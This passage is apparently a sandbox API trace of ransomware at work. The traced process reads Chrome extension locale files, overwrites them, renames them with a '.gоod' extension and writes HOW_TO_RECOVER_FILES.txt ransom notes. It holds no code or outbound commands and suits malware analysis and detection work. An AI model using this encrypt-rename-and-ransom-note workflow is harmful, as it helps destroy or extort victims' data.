Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json", lpFilePart=0x0) returned 0x8c [0267.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0267.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x390ea80 | out: lpFileInformation=0x390ea80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5549481a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55494118, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1 [0267.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0267.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json", lpFilePart=0x0) returned 0x8c [0267.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0267.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0267.941] GetFileType (hFile=0x85c) returned 0x1 [0267.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0267.941] GetFileType (hFile=0x85c) returned 0x1 [0267.941] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd7 [0267.941] ReadFile (in: hFile=0x85c, lpBuffer=0x390ef20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x390ef20*, lpNumberOfBytesRead=0x1f6e7648*=0xd7, lpOverlapped=0x0) returned 1 [0267.942] CloseHandle (hObject=0x85c) returned 1 [0268.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json", lpFilePart=0x0) returned 0x8c [0268.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0268.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0268.123] GetFileType (hFile=0x86c) returned 0x1 [0268.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0268.124] GetFileType (hFile=0x86c) returned 0x1 [0268.124] WriteFile (in: hFile=0x86c, lpBuffer=0x3af5260*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3af5260*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0268.124] CloseHandle (hObject=0x86c) returned 1 [0268.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json", lpFilePart=0x0) returned 0x8c [0268.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0268.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0268.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5549481a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55494118, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9c0773ad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0268.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0268.124] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.gоod")) returned 1 [0268.125] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0268.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0268.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0268.126] GetFileType (hFile=0x86c) returned 0x1 [0268.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0268.126] GetFileType (hFile=0x86c) returned 0x1 [0268.127] WriteFile (in: hFile=0x86c, lpBuffer=0x3af8bb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3af8bb0*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0268.127] CloseHandle (hObject=0x86c) returned 1 [0268.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0268.127] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", lpFilePart=0x0) returned 0x7e [0268.127] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554a0b75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a598b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a598b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0268.128] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554a0b75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a598b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a598b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.128] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554a598b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a7998, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0268.128] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.128] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0268.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0268.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0268.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0268.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", lpFilePart=0x0) returned 0x7e [0268.129] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554a0b75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a598b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a598b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0268.129] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554a0b75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a598b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a598b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.129] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554a598b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a7998, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0268.129] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554a598b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a7998, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0268.129] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0268.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0268.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0268.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json", lpFilePart=0x0) returned 0x8c [0268.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0268.130] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3b08c50 | out: lpFileInformation=0x3b08c50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554a598b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a7998, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd1)) returned 1 [0268.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0268.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json", lpFilePart=0x0) returned 0x8c [0268.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0268.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0268.130] GetFileType (hFile=0x86c) returned 0x1 [0268.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0268.130] GetFileType (hFile=0x86c) returned 0x1 [0268.130] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd1 [0268.130] ReadFile (in: hFile=0x86c, lpBuffer=0x3b090f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3b090f0*, lpNumberOfBytesRead=0x1f6e7648*=0xd1, lpOverlapped=0x0) returned 1 [0268.131] CloseHandle (hObject=0x86c) returned 1 [0268.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json", lpFilePart=0x0) returned 0x8c [0268.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0268.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0268.192] GetFileType (hFile=0x86c) returned 0x1 [0268.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0268.192] GetFileType (hFile=0x86c) returned 0x1 [0268.192] WriteFile (in: hFile=0x86c, lpBuffer=0x39afaa8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x39afaa8*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0268.193] CloseHandle (hObject=0x86c) returned 1 [0268.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json", lpFilePart=0x0) returned 0x8c [0268.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0268.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0268.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554a598b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a7998, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9c10fcc5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0268.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0268.193] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.gоod")) returned 1 [0268.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0268.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0268.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0268.195] GetFileType (hFile=0x86c) returned 0x1 [0268.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0268.195] GetFileType (hFile=0x86c) returned 0x1 [0268.195] WriteFile (in: hFile=0x86c, lpBuffer=0x39b33f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x39b33f8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0268.196] CloseHandle (hObject=0x86c) returned 1 [0268.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x91 [0268.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e82b0) returned 1 [0268.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 